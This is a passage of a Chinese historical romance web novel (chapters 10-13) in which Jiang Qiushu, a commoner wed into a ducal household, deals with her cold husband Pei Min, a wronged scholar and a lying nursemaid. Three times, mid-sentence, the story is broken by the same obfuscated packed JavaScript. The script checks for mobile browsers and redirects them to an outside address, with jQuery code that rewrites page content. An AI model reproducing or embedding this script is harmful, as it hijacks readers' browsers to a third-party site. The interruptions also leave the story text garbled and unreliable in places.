“太夫人到底是慈善。”关嬷嬷笑道。 姜秋姝点头,“走吧!咱们也该回府了。” 马车停止门口,瞧见姜秋姝她们的身影,马夫立刻驱赶马,等候在她们身前。 姜秋姝抬手正要借着锦绣的力上马车,可掌心略微粗糙宽厚的手感令她侧身,男子俊雅,眸光清淡,手掌的温度却格外的烫人,姜秋姝缩瑟了下,却被他抓住,微微用力,将她送上了马车。 姜秋姝坐到马车里,身侧很快被占据,气息不容忽视。 “五郎要与我一道?”姜秋姝说完才发觉自个儿的不妥,早晨裴珉便未与她一道,问出口,还当她是对早晨裴珉撇下自己一事耿耿于怀。 “自然。”见裴珉神色依旧,姜秋姝便晓得是她多心了,裴珉又哪里能够注意到这些女子间的弯弯绕绕。 过了半晌,马车里只有书册的翻动声,姜秋姝倒了被茶水默默喝着,天青色的瓷杯只用食指和中指夹住,来回翻转,她盯着瓷杯眼神放空,思绪不经意飞出老远。 裴珉看书时,抬眸瞄了她眼,最终还是没有指摘她的行为。 忽然马车晃了下,指尖的杯子摔了出去,她低头那杯子正砸在裴珉膝前。 她慌了瞬,往裴珉放向看的目光放缓了不少,生怕他又说教。 裴珉捡起茶杯,好在杯子里早就没了茶水,他捏着杯子,指尖触碰到杯口留下一抹殷红,眼神沉沉的看了眼她,就在她以为他要训斥的时候,他将茶杯放回了桌面。 他捻了捻指腹,殷红逐渐晕染成了粉红,他眸光落在了她的唇瓣。 姜秋姝忽的被这般看着,不自然的抿了抿唇。 裴珉刚要移开视线,却不经意落到她腰间的玉佩,没想到她就这般戴上了,“平乐公主不是个好相与的,少与她来往。” 姜秋姝迟疑道:“到底是天家之女,若是想邀也不好拂了她的面子。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15319000|167385||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “无妨。”裴珉继续瞧着书,恍若说的不是皇家人而是个百姓,“那玉佩本就不该拿。” 姜秋姝抿了下唇,裴珉的话虽不强硬,可其中的意思却明了,她做委屈状,“莫不成就让五郎与公主起了龃龉,妾身以为五郎是要让妾身解下玉佩,不若妾身这就将玉佩送还给公主。” 裴珉翻书的手顿住了,抬头望了她,姜秋姝眼皮耷拉着往下垂,脸上的伤心不做任何的掩饰。 “不必,留着吧!” 姜秋姝暗地长舒了口气,“平乐公主瞧着宽善,且还是五郎学生,再不好相与,看在您的面子,也不至于为难妾身。” 裴珉微叹口气,他该如何与她言,平乐公主府养着许多的面首?! 洛阳许多的小娘子若非家中父兄管教的严些,怕是日日都要往公主府去。 裴珉思索片刻,刚想要委婉些讲给她听,马车忽然停住,窗外声音嘈杂。 “五郎,前方围了许多人。”车夫在外边说。 “绕道。” 车夫还是未动,瞧着甚至有些为难,裴珉打开车窗往外边儿瞧去。 青衣布衫的郎君正被仆役按在地上,而他对面一身华服的郎君,面露不屑,“已经给了你银两,为何要纠缠,可还嫌不够。” 那郎君解下腰间的荷包扔在地上,滚出几锭黄灿灿的金子。 青衣郎君别开脸,不屈的望着那郎君,“我的画只赠有缘人。” 那郎君越发的恼怒了,招来了身边的小厮,叫他们将荷包全部砸在青衣郎君身上,他狠厉道:“你一寒门子弟,得这些银两养家糊口,已经是我善心大发,再纠缠可别怪我狠心。” 众人见那郎君一身富贵,又有识得其身份的人,晓得他是洛阳王家的贵子,他们这些百姓哪里敢和世家作对,有人便劝青衣郎君收下银两,一切作罢。 青衣郎君仰头,眼神里的颓败绝望叫人感同身受。 天地不公,有权者仗势欺辱百姓不过是家常便饭,官场世家当道,利益勾勾缠缠,姻亲庇护,为民请命者少之又少。 那郎君轻蔑的走过,等踩到硬物,他惊讶起来,眼神却是明晃晃的得意,“宋郎君,不留心踩到你的手了,应当不影响你今朝科考吧?” 宋执书捂住手上的手掌,疼的汗水滴落,他咬紧嘴唇却被仆役困住,近不得人分毫。 曲终人散,那郎君讥笑一声,便带着仆役浩浩荡荡的离开了。 姜秋姝坐正身体,“郎君可识得那人?” “王家七郎,行事荒诞,但为人聪慧,若是将心放在正途上,也能屹立朝堂。”裴珉漫不经心道,“却在此地与寒门子弟纠缠,堕了风骨。” 姜秋姝垂眸,紧捏着手掌,世家人眼中只会是世家人,谁又在乎被践踏的寒门子弟。 那青衣郎君眼神中的不甘,一直在她脑海中回荡着,强权所压也只能屈服,只能放弃,谁又问过他们是否愿意? 不该与寒门人纠缠……他们难道愿意被纠缠? 马车继续往前行驶,比起她以前做过的驴车,车厢里依旧稳当,面前小桌摆放着的点心和茶水,都没有移动过。 世家人奢靡,且会享受,她看了眼裴珉,坐过这般平稳的马车,又怎会知晓驴车的颠簸。 姜秋姝眼神执拗,像是想要撕破遮住两人间的纱,“那五郎娶了我这个卖花女,可也觉得堕了风骨?” 11. 第 11 章 承认与否重要吗? 她如今都已经是他的妻子,与其听些难听的话,不若相敬如宾,生子育子,有与自己血脉相连的亲人,稀里糊涂的过下去。 这般极好,极好。 世间大多数人不都是这般的吗? 姜秋姝沉吟,眼中得到锋芒一瞬收敛得当。 头顶处,裴珉的视线一直未曾离开,姜秋姝不想晓得他为何一言不发,没有必要了。 裴珉双唇嗫嚅,与她的回忆一闪而过,初识的狼狈是他此生都难忘的,在识得她以前,他从未想过,日后的妻子会是这般的模样。 他嘴唇翕动刚要说些什么。 “郎君宫里召见。”马车外是侍卫在禀告。 裴珉离开下了车,刚要离开,他敲了敲车窗,“娘子,你先回府。” 姜秋姝未打开车窗,声音平淡却又尊敬,“妾身省的。” 裴珉的身影消失的很快,马车行了会儿,姜秋姝大声道:“停下” 她连忙下了马车,走到那青衣郎君面前,命令护卫将被百姓捡走的银两归还,她递过去,“张良拾履受了三次折辱,不过是在于一个忍字,谋定而后发,若无实力不过愚者的自命不凡。” 宋执书寂静的眼眸闪过深思,君子报仇十年不晚。他不信只会如今日般成为鱼肉。 姜秋姝瞧他神色有了转变,叹了口气。 若无绝对的力量,蚍蜉撼树便是个笑话,大象背上的蚂蚁撕咬的再厉害,也不过是挠痒。姜秋姝很久便晓得了,她不过是芸芸尘世间,最为微不足道的存在。 若无裴珉,识的她的人极少,欺凌她的人,更会猖獗。 占着定国公府五夫人的位置,不该计较得失,原本对裴珉冷情的不甘,原本渴望过的如阿耶阿娘般的琴瑟和鸣,终究都成了过眼云烟, 而面前的郎君亦然,或是依附靠山,或是勉励奋进,也好过此时的愤懑。 姜秋姝将荷包递到他手中,“本是一物换一物,即便非郎君心甘情愿,郎君这也是你应得的。” 宋执书捏着钱袋,红肿的手更显得吓人,可也就是这份疼痛,叫他清醒,他拱手,郑重的朝着姜秋姝行了礼,“今日受教了,是我短视了。” 姜秋姝目光落到了他手上,方才听闻他是要科考的,姜秋姝唤来了护卫,将人送往医馆。 宋执书走了两步,忽然顿住脚步,眼眸未曾离开过,只将人记在脑中,等人彻底瞧不见时,朝着那个方向深深地行了一礼。 一言之师,受益终身。 等回了国公府,姜秋姝率先去太夫人的院子请安,结果被嬷嬷拦住了,说太夫人身体不适,要休息。 姜秋姝略沉思,嘴角弧度加深,领着锦绣回了玉珩院。 窗边的洛阳红已经含苞待放,姜秋姝心情越发的畅快了,叫来了关嬷嬷准备纸笔, 桌面的《孝经》泛着淡黄色,书页褶皱明显,她翻开一页,抬笔很快写好一页,还未翻页,接下来的内容便早早写下。 这本书,她翻来覆去多次,虽不至于倒背如流,确是熟悉的很。 头一回碰这本书,她是哭着的,应当是新婚的一月左右,她有些记不清了,那时府中五娘也就是四夫人的第三女,在花园中玩耍,她瞧她捧着个手鞠球,身侧几乎没有人伺候,只远远的站着个嬷嬷,注意着她的安危。 她初来乍到,可也很快就明白府中人瞧着和善,可也不过是客套,更多的是结团成对,旁人根本就融不进去,而她不是那世家培养的贞静贤淑的小娘子,与他们也少有共同的话可说。 小小孩童最是天真无邪,她便蹲下身陪她玩儿了会儿。 五娘笑着将手鞠球推过来,她便又扔回去,如此来回,五娘笑容满面,直到后面嬷嬷的止住,说是院子风大,怕吹了风,着了凉,才依依不舍的与她分开。 可那时正是夏日,她浅笑,看来这国公府还是有人不会说客套的话。 在国公府最为安宁的时间,是她在个五岁小娃身上找到的。 即便有些不入心的小事儿,那天她心绪比起往日也舒畅了不少,直到四夫人领着哭泣的五娘进了玉珩院,指摘她弄坏了五娘的手鞠球。 她对峙解释,可是在三夫人指桑骂槐暗地里说五娘不敬长辈,又看顾不好自己的东西,实则说她损坏了小娃娃的东西都不敢承认中,小小孩童哭泣声越发的大。 尤其是五娘哭泣到了呕吐的地步,姜秋姝不忍心,便道自己将东西赔给她。 原是想要尽快了解此事,不想要为难个孩子。 可当天晚上,裴珉便扔了本《孝经》给她,叫她抄写静心。 姜秋姝原也看不出这是裴珉对她的惩戒,毕竟谁家罚人要求抄写《孝经》的,也就没有想过解释五娘手鞠球一事与她无关,直到后来她被罚抄的次数越来越多…… 至于为何会哭,还不是那时候她连执笔都是问题,偏偏裴珉要她抄这么厚的一本书。 想起这些往日,她竟然也笑的出来,抚了抚书册上面的褶皱。 裴珉便这般喜爱《孝经》? 虽说百善孝为先,如裴珉这般奉为圭臬,就连叫她罚抄也是这本,没有丝毫的新意。 一下午的时间,姜秋姝都在抄写着,心也跟在宁静了几分,原本因那位青衣郎君隐隐破土杂念,此刻更加的牢固起来。 只不过,姜秋姝将自己的字,拿起来和裴珉的字比较了番,叹了口气便又放下。 丑丑,对比惨淡。 她看向书案的左前方,拿起一本书册翻了起来,上面是一些世家娘子与郎君的小像,末尾还记载了些简单的内容。 姜秋姝唤来了人,叫人准备火盆。 书册被火光点燃,火焰冲天而起,烧的盛大,最后全部沦为灰烬。 直到没有任何的痕迹,姜秋姝才彻底的安心。 她又绕到书案,卷了张小纸条,写了两个大字:多谢。 天色将暮,苍鹰旋转徘徊,白鸽低飞,窗户传来移动,她将纸条别在信桶里,看着白鸽远去。 裴珉回了时,天已经暗了,他停在玉珩院门口,白日里姜秋姝的话尚在耳侧。 娶了她,可觉得堕了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15319001|167385||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 风骨? 起初,心头若有若无的想过,可事实既定不可挽回,他自该担起责任,说出要娶她的话,可她拒绝了,那时是松了口气,又觉得心口似被什么坠住,叫人难以捉摸。 即便如今圣人想要打压世家,多采用科举制,每府的恩荫有了限制,即便有后起之秀,即便文采斐然,也少有世家人与其通婚。 前朝姻亲更是严苛,只在五姓间通婚,便是公主都嫁不进世家的大门。 如今寒门与世家通婚虽有,可更多的不过是末流之家与朝中新起却无根基的寒门。 他想过日后的妻子该是温柔贤淑,该是世家大族精心培育的贵女,该是任何他所见过的女子模样,直到遇见了她。 说出要娶她的话,便已是不顾世俗,已然是诚意所在,可被拒,难免恼怒,家中再次说起他的婚事时,便没了昔日的抗拒。 两家说好,即将要下定。 可不过一月的时间,她便找上门来,说是要嫁与他。 那时,他竟是有种被愚弄的感觉,原本便给过她机会了,如今又反悔,真当他是那般好说话的?可他还是点了头,在众人诧异惊愕的目光中定下与她的婚事。 也送还了重礼给即将下定的人家,好在知晓人不多,不至于影响人声誉。 不晓得她因何反悔,是欲擒故纵,是突然醒悟世家的繁华,亦或是仰慕他? 不重要,入了府,只担起自己的责任,行事本分便可。 可白日里她眼眸中的决然,竟叫他挥之不去,他回答不了她,只能作罢! 晚膳时,姜秋姝从小厮那里晓得裴珉事务繁忙,便不过来了。 她眼神温和,仔细叮嘱底下的人好生伺候裴珉,甚至还亲自叫人准备了食盒给裴珉送过去,等做完一切后,她也松了口气。 一人食亦有一人食的乐趣,桌上的饮食虽然清淡,但依旧可口。 关嬷嬷看的啧然,怎五郎不在,娘子的胃口比起平时都要好些? 翌日,洛阳皆在传,正明侯府三房幼子的满月宴上,裴秋月与李五郎相看时曾言之凿凿的说自己心有所属,还说自己不慕权贵,一心想与心爱之人白头。 这不算什么大事儿,当今民风开放,男女间不至于太避讳,可偏偏有好事者将裴秋月与赵士远间的事,传颂成了被棒子强打的苦命鸳鸯。 更有人道:两人间情谊难得,即便是遭受磨难依旧要在一起,实在可歌可泣。 姜秋姝听着锦绣绘声绘色的说着,侧目,瞧着窗外的洛阳红另一花苞又绽放了大半,心头欢喜油然而生。 窗外的小花圃,如今大半也有了花苞,即将要完全绽放,好似以往在乡野间被群花围绕,那时阿娘领着她除草施肥,时有蝴蝶蜜蜂在花丛中玩乐,沾了一身的花粉。 “太夫人因为二娘的事儿,又病了,府中刚请了太医。”关嬷嬷叹了口气,“太夫人那般慈善的人,二娘着实过分了?” 慈善?对己人的慈善,对旁的人大概是残忍居多吧! 姜秋姝唇角抿了抿,世间人大都几幅面孔叫人看不清! 12. 第 12 章 再次见到裴珉,已经过了好些天,姜秋姝只耐心的养护着花菜,并令玉珩院的奴仆好生伺候他,说些里里外外皆知晓的场面话。 她不急,她晓得逢五总能见到裴珉。 尽管裴珉不想见她,逢五总会出现,也算是给她这个五夫人一些体面。 可在用早膳时,姜秋姝竟然见到了裴珉,她起身放下筷子,神情平静,似乎从未问过那越举的话。 “五郎可要用些早膳?” 裴珉点头,姜秋姝立刻命令人送上碗筷,和清水。 裴珉净完手,又命人在一旁点起熏香,步履从容的在姜秋姝对面坐了下去。 “近日圣人命我办事儿,常留宿在宫中,今日才归。” 一般外臣不可留宿宫中,裴珉即便在位高权重也得遵循,但听裴珉的话是圣人的意思,应当是很棘手的事。 姜秋姝没想到他竟然会解释自己的行踪。 她抿了下嘴唇,用公筷给裴珉夹了清淡的小菜,眸光忍不住向下,心里发虚,这几日她还当他在玉珩院,那些‘操劳’他内务的吩咐,真就成了唱戏。 “五郎辛劳,妾身当真是心忧,多用些餐食,妾身稍后吩咐小厨房炖些补品。” 裴珉放下筷子,望了过去,正好瞧见她一闪而过的心虚,“可是有何要求的?” 姜秋姝怔楞,原本的歉意消失殆尽,只恭敬道:“妾身无所求。” 无所求? 裴珉擦了擦嘴唇,那日事后他是要负责的,可她拒绝他求亲,他问了她同样的话,她亦道无所求。 可到底还是嫁了进来。 “太夫人今日疲敝,你向来清闲,该时常伺候在身侧。” 姜秋姝嘴角笑意清浅,眼中的光却是淡了,“妾身省的,五郎不说,妾身也是要去的,不过妾身又怕愚钝,叫太夫人不喜。” “尽孝本在自心,太夫人慈善,对小辈亦是关怀,你不该推辞。”裴珉抿了口清茶,又道。 姜秋姝垂眸,掌心却紧了紧,“是。” 对自家人是慈善,对旁的人却是残忍了。 一顿早膳该说的都说了,等奴仆将东西撤下去的时候,关嬷嬷瞧着桌上剩了大半的食物疑惑。 前几日娘子胃口还好好的,今日有五郎陪着,竟然比起平日少用了一半。 裴珉用了早膳离开前说了今夜要回房的事儿,姜秋姝自是表现的高兴又内敛,后按照裴珉的吩咐,去太夫人面前伺候。 往清风苑刚到花园,轻微的哭泣声,叫她止住脚步,顺着声音的方向看去。 有一五六岁的小娘子步履艰难的朝着湖边走去,最后跪在岸边,朝湖中好似在捞着什么东西。 姜秋姝眼疾手快,快速跑了过去,抓住小娘子的衣领,将人拉到岸上,她才舒了口气。 “五娘这是作甚?” 五娘哭泣的指着湖里的荷包,“掉下去了!” 姜秋姝从岸边捡了个木棍,将荷包给捞了上来,五娘抓起荷包,哭意是止了,可身体却忍不住微微颤抖。 姜秋姝看了下周围的人,问道:“孙嬷嬷呢?” 孙嬷嬷便是五娘的乳母,也是平日里照顾五娘的人。 五娘未言语,只抓住荷包手紧握,眉间起了褶皱,小声嘶了声,然后荷包落到地上。 姜秋姝看着五娘手心的擦伤,血虽然已经凝固,可手掌心尚有青紫,她拿出手帕想要替她包扎,刚上前一步,五娘迅速退了步。 原本止了的眼泪,又留了出来,甚至胆怯的看了姜秋姝眼,又迅速的低头。 姜秋姝强硬的拉住她的手,用干净的手帕帮她将伤给抱住。 温暖袭来,五娘停在原地,闻着面前人身上香香的味道,停止了挣扎,只不过依旧不敢看她。 她做过错事儿,害怕这个香香的叔母讨厌她。 “哎哟喂!”孙嬷嬷不晓得何时出现,“五娘还这般小,五夫人您便是再不喜欢也不能这般伤害她!” 孙嬷嬷连忙走近,将五娘给拉到身边来,不过动作太大,不晓得是否扯到了伤口,五娘表情痛苦。 姜秋姝见过贼喊捉贼的,却没见过又蠢又笨的贼,“任由五娘独自一人,孙嬷嬷自个儿到何处逍遥去了!今日好在我拉住了五娘,若是五娘真的跌入湖中,你这婆子怕是千万条命都赔不了。” 孙嬷嬷额前冒出了细汗,也是幸亏没出什么事儿,不过…… “老奴在远处瞧着呢,只不过是五娘不喜人在跟前伺候,方才隔得远,也不晓得是五夫人故意伤了五娘,还是五娘不小心自己摔倒的。”孙嬷嬷转了话锋,“当然这也得听五夫人怎么说了。” 孙嬷嬷今日手气不好,不然也不至于匆匆下了桌,这才遇见了这幕。 姜秋姝听出她的威胁,若是她认下孙嬷嬷一直跟在五娘,那五娘便是自己摔倒。 “你个老虔婆,莫不是将我们都当做睁眼瞎。”锦绣在一旁忍不住开了口。 “锦绣是五夫人的婢女,自然替五夫人说话。”孙嬷嬷原本的担忧一扫而过,五夫人也非第一次替她担责了。 姜秋姝看了眼五娘,五娘始终低着头,任由孙嬷嬷抓住她的衣袖。 “那在下呢?”一少年郎君自远处而来,相貌英俊,举止间也是涵养十足,“在下亲眼所见,这位嬷嬷方才才从外院的方向走过来。” 姜秋姝目光在触及那郎君时,厌恶至极,浑身冷冽的气息叫人不敢直视。 赵士远像是未曾瞧见姜秋姝恼恶,风度翩翩的行礼,而后眸中带笑,居高临下,恍若在说,即便转换了身份,她姜秋姝连个奴仆都斗不过,想要登高却没那个能耐,不过竹篮打水一场空。 姜秋姝忍住恶心,连余光都不想往那边瞧去,只看着五娘。 “人生于世,诚信二字极为重要,五娘可知凡出言,信当先,不诚者,皆困魇。”姜秋姝蹲下身子,“五娘,叔母晓得你是个诚实的孩子,必定不会说谎。” 五娘动了动,可孙嬷嬷抓的她很紧,她眉宇凝结,脸上愁容漫天。 一旁的赵士远看着这场好戏,眼中的幸灾乐祸从未遮掩。 他劝过她,不属于自己的,发烫,强行去捧,只会灼烧双手。 姜秋姝朝着锦绣使了个眼色,锦绣立刻从后面拿住了孙嬷嬷,姜秋姝声音更加的温和了,“五娘不怕,这婆子不敬主子,叔母会将她交给太夫人处理,五娘有什么委屈,都可以告诉叔母的。” 许是晓得了安全,五娘泪意朦胧,孙嬷嬷朝着五娘使着眼色,其中威胁不言而喻。 孙嬷嬷最是知晓五娘胆小怯懦的性子,不然那年也不会由着她污蔑是姜秋姝弄坏了手鞠球。 其实那手鞠球被她的侄儿拿去,她原本以为不过个手鞠球,四夫人不会过问,谁能晓得小小的手鞠球是四夫人娘家所赠,里面藏了颗价值百两的珍珠。 她叫侄儿将东西还回来,可谁晓得破了个口子,里面的东西不翼而飞,只能将事情泼到五夫人身上。 开始她还怕过五娘会说出来,只小小的警告了番,五娘便老实了。 姜秋姝看的明白孙嬷嬷的眼神,朝锦绣使了神色,锦绣踢了一脚在她腿上,孙嬷嬷跪倒在地,锦绣又单压住她的胳膊,孙嬷嬷哎哟喂的喊疼,老实起来。 看见孙嬷嬷的惨状,五娘脸上的怯弱少了些,她不想再冤枉香香的姨母,也不想做个撒谎的坏孩子,泣声道:“五叔母抱歉,是五娘错了。” 姜秋姝瞧着她目光中的不安,却晓得她并非因今日之事儿而致歉,还有那个手鞠球。 姜秋姝心头怔然,一句迟来的歉意,似风吹起心头的涟漪。 其实,她都快要忘记了,被四夫人指摘,被裴珉罚抄,偶尔想起只当个笑话。 她被冤枉过许多,而这次不过是件小事儿,清白与否自己知晓便好,可今日心头的感受,叫她晓得她其实需要旁人的道歉。 姜秋姝摸了摸五娘的脑袋,“信者通达天下,立于世,该不愧于心。” 五娘点了点头。 姜秋姝叫锦绣压着孙嬷嬷,一道去清风苑。 “五夫人成长了不少,我这个做阿兄的,欣慰至极。” 赵士远虚伪的声音只叫她作呕。 姜秋姝不语,径直要离去,赵士远瞧着她的背影,甚至有几分得意,“小满,你难道不想知道太夫人今日请我过府是要作何?” 姜秋姝听到那许久未曾听过的称呼,只愣了瞬,带着锦绣她们离开了。 赵士远十指紧握,站在原地久久未曾离开,即便那人已经没了踪影。 他刚转身,一个目光让他打了个寒颤。 他顺着目光看去,凛冽的眼神含着冰,叫他浑身都泛着凉意,他背脊发寒,动作十分的僵硬。 等他看清了人,更是身体发麻,那是——裴珉。 裴珉收回眸光,负手而立,浑身气势如山倾轧,衣袖随风本该是俊逸飘扬之态,却似起了无形的刀锋,叫人垂首战栗。 他看到听到了多少?赵士远恭敬朝他行礼,衣袖遮面的同时在回忆,方才自己是否有不当的举动。 应当是没有,他松了口气,当再次看过去,已经没有了裴珉的踪迹。 赵士远擦了额头溢出来的汗渍,今日是抱着必定的决心来的,万不可因姜秋姝而出了错。 裴珉立在亭子中,棋盘山黑子被围了大半,李明澈看出来他的漫不经心,“那男子便是二娘心属之人?” 李明澈想起方才瞧见那人的模样,啧了口,这二娘身侧的男子皆不俗,一个裴承文武双全,德行一致。裴珉…也还像个人,怎就看上个那样的。 “还未瞧你这般为子侄操心过?没想到你竟然这般疼爱二娘。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15324062|167385||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 裴珉不语,只下了一只,将黑子全部围死。 李明澈哎哟惨败,将棋子扔回棋盒,气不过故意道:“忙了许久郑家人的事儿,也快了吧?郑小娘子怕也要回来了,倒也没辜负你这般辛劳!” 裴珉没有理会,脑子里却是赵士远与姜秋姝站在一起的画面。 “世家大族不是那般好嫁的,姜秋姝你当初与我定亲,也不过是看在我们赵氏的门第,赵氏虽然不过是末流世家,可对于你们这些庶民,已然是能够改换门庭。我当初与你定亲本也是你阿娘相逼,那时我势微,你阿娘挟恩以报。”赵士远振振有词道。 “我阿娘养你几年,那些读书科举的钱都是我与阿娘辛苦所赚,若无我家,你赵士远怎可能会有如今。”姜秋姝瓷白的小脸除开失望,还剩下心痛。 为阿娘难过!他最对不起的便是阿娘! “你与那裴珉怎会相配?”赵士远恨恨的盯着她,“原是不愿嫁,如今又要嫁,以退为进不过是你的手段罢了!起初拒绝了为何不离得远远的,是否瞧那裴珉没有再次追上,欲擒故纵的手段失效,便又上赶着!” 赵士远听见裴珉说出负责的话,亦是吓得神魂俱荡,可听见姜秋姝不愿,他松了口气,可一月后裴珉下定的消息传遍了洛阳,他只惊惧,害怕姜秋姝真的登高,嫁进国公府。 “是又如何?赵士远我与五郎定了亲,早晚要嫁进去的,你若是与裴秋月成了婚,势必要叫我一声叔母!屈于人下,尤其还是我这个被你抛弃的前未婚妻的脚下,我等着你向我跪地敬茶的一天!”姜秋姝声音愤恨,眸光中却又泪光点点。 没人晓得那颗榕树后面,裴珉将他们的争执听得一清二楚。欲擒故纵,以退为进?裴珉嘴角笑意浅淡,也不想再听下去。 清风苑这里,嬷嬷说太夫人有要事儿,接下了她们送来的补品,面含歉意。 姜秋姝颔首,只将孙嬷嬷的事儿说了,嬷嬷眼神凶狠的定了杨孙嬷嬷,只说会和太夫人禀告此事。 姜秋姝点头,命关嬷嬷将孙嬷嬷和五娘送回了四夫人的院子,并让锦绣将见过孙嬷嬷擅离职守的人一并找到,全部带去了四夫人院子。 她能做的只有这么多,再做便是多余了。 夜间,裴珉并未与她一同用晚膳,但她晓得今日,他定是要与她同榻的。 她早早的沐浴盥洗,只穿了寝衣将洛阳红放在书案上,瞧着时辰还在,小心的给它松松土。 几乎要全部盛开了,姜秋姝抱着洛阳红,指尖碰了碰花瓣,单撑住下颚全身心的望着。 裴珉进屋,她目光专注,仅仅是瞧着盆花儿,眸中温柔溢开,柔润温和,无尽的欣喜。 这样的目光,他多久见过呢? 好似是她初嫁过来,眸中有过喜悦,望向他时星光盛开,半点儿的掩藏都没有,又是何时无的呢?好似是他离开的这些时日。 直到浴房淋漓的水声,姜秋姝才反应过来裴珉回来了。 她连忙将洛阳红放好,叫人打水将双手清洗了番,静待他出来。 烛光一闪一闪,昏黄的光照在手背,她摸着腹部,何时才能有血脉至亲?若是这次怀上该多好! 水汽氤氲,热气扑面而来,姜秋姝抬头,裴珉离她不过一步之遥,她下意识的往后避开。 裴珉眼神平淡似水,只不过方才不晓得什么一滑而过。 “就寝吧!” 床幔落下,将床榻里的所有一切遮住,可此处自成一个小天地。 灼热的气息打在身上,肌肤激起痒意,她想要躲,头侧了侧却被一只手强硬的摆正,他低头靠近耳侧的呼吸靠近,身体忍不住缩瑟。 这个时候,两人间从未有过语言,至亲至疏夫妻,能够亲至毫无距离,可处处却又陌生。 姜秋姝咬住嘴唇,将一切的感受全部咽下,只想要快些结束。 她只想要雨露,不想要承受痛苦。 裴珉低头烛光透过纱帐,她眉宇间的褶皱瞧的一清二楚,他呼吸凝滞,手轻触在她的眉宇。 姜秋姝忽然被碰触,嘤咛一声,忽然睁开双眸,可额前的手比方才力道要大了些,似乎抚平她的眉。 额间不属于自己的温触,来回间滑动,逐渐又绕过山根,往唇瓣的方向,指尖在唇瓣摩擦着,浪花打来,她忍不住又要发声,生怕被他听见,顾不得那么连忙咬住唇,牙齿碰触到坚硬的东西时,两人同时愣住了。 裴珉收回手,拉出一抹银丝,姜秋姝双颊通红,紧张的同时却又忍不住想要推开他。 裴珉嘴唇拉直,有一瞬的停滞,呼吸急促,胸腔起伏更甚,她的手被按在了头顶,腰被人往上搂了搂,距离加近,加近…… 这是第一次两人有过旁的肢体触碰,可下一刻,姜秋姝瞧见他眼眸中被隐藏,被压抑的东西一闪而过,而她如同漂浮的小舟…… 13. 第 13 章 夜很深,床帐笼罩下,姜秋姝发丝贴在脸颊,汗涔涔的热气上涌,脸儿俏红双眸紧闭,虽然已经陷入熟睡,可睫毛还在微微颤动。 裴珉坐在床侧,眸光自上而下,是他自己都未曾察觉到的侵略之态,指尖在碰触到她眉宇间的时候往下,将额前的发丝别在耳侧。 床上人似有所感,嘴唇嗫喏,挣扎着推了下,小声嘟囔着不要,娥眉微蹙,可始终没被惊醒睁开双眸,可见有多累。 裴珉手被她牢牢的抓住,他动了下,床榻上的小娘子不安的翻了个身,怀抱着他的手往里按了按。 触碰到柔软的那一霎,他眸色暗色一闪而过,一股难言的情态在心中徘徊,眸光见床榻间的小娘子彻底笼罩着,想要再度俯身,他的手忽然被松开,她翻了过去,背对着他。 头一次这般的放纵,想要将她融入骨髓中,尤其是瞧见她双手被自己掌握,毫无所依,由着他肆意妄为。 此女便是个能吸魂夺魄的,不该……不该…… 裴珉暗暗的静坐,蜡烛燃尽,任由自己沉在黑暗中,将一切都掩饰住。 姜秋姝醒来时,身侧早就没了裴珉的踪迹,裴珉向来是个规矩严明的,可好似每每被他折腾的起不来,他便没那般的严苛不用她伺候她起床洗漱。 她刚要坐起,腰腹间酸痛,倒吸口冷气,昨夜比起新婚之夜更叫人难受,她半醒间,上首的汗珠滴落在她的寝衣上,眸光往上,那双眼侵染了墨,恍若想叫她剥皮拆股,吞入腹中。 她只一眼便不敢再看,这是她头一回瞧见裴珉这般的模样。 姜秋姝眸光虚望,抱着被褥蜷缩着,老神在在心神都不晓得飘到何处,可那张桃花瓣儿似的脸,像是被滋润的嫣红。 寝衣领口往下延伸,肌肤起伏跟块儿嫩豆腐似的。 关嬷嬷进来后,便瞧见她这般的模样,连忙低头,不敢再看。 “五郎吩咐老奴炖桃胶血燕羹,这血燕是宫里赏下来的,府里头一遭,五郎全给您了。”关嬷嬷声音欣喜。 姜秋姝半倚在床栏,直起上半身时,还觉得酸累。 关嬷嬷瞧见她表情痛苦提议道:“不若老奴伺候娘子用?” 姜秋姝摇头,在床上用餐若是被裴珉瞧见了,必定是要遭顿说,裴珉不在,她随意些也就罢了,如今裴珉回来了,若是被他逮住,怕又一顿罚抄。 姜秋姝放缓了动作,待到不那么难受才下了床,装扮完毕后,那碗被温着的桃胶血燕羹才被端了上来。 嫁入国公府前,她连燕窝是什么都不晓得,尝过后味道一般,只不晓得为何那么多的贵人追捧。 “这血燕是从禄族进贡来的,金丝燕在岩洞峭壁上筑巢,采集的人需要在山顶用麻绳绑在腰间,数百丈的悬崖,一不小心就要丢了命,珍贵的很。” 姜秋姝舀了口尝了尝,味道与一般的燕窝与无甚大差别,不过是颜色红了些。 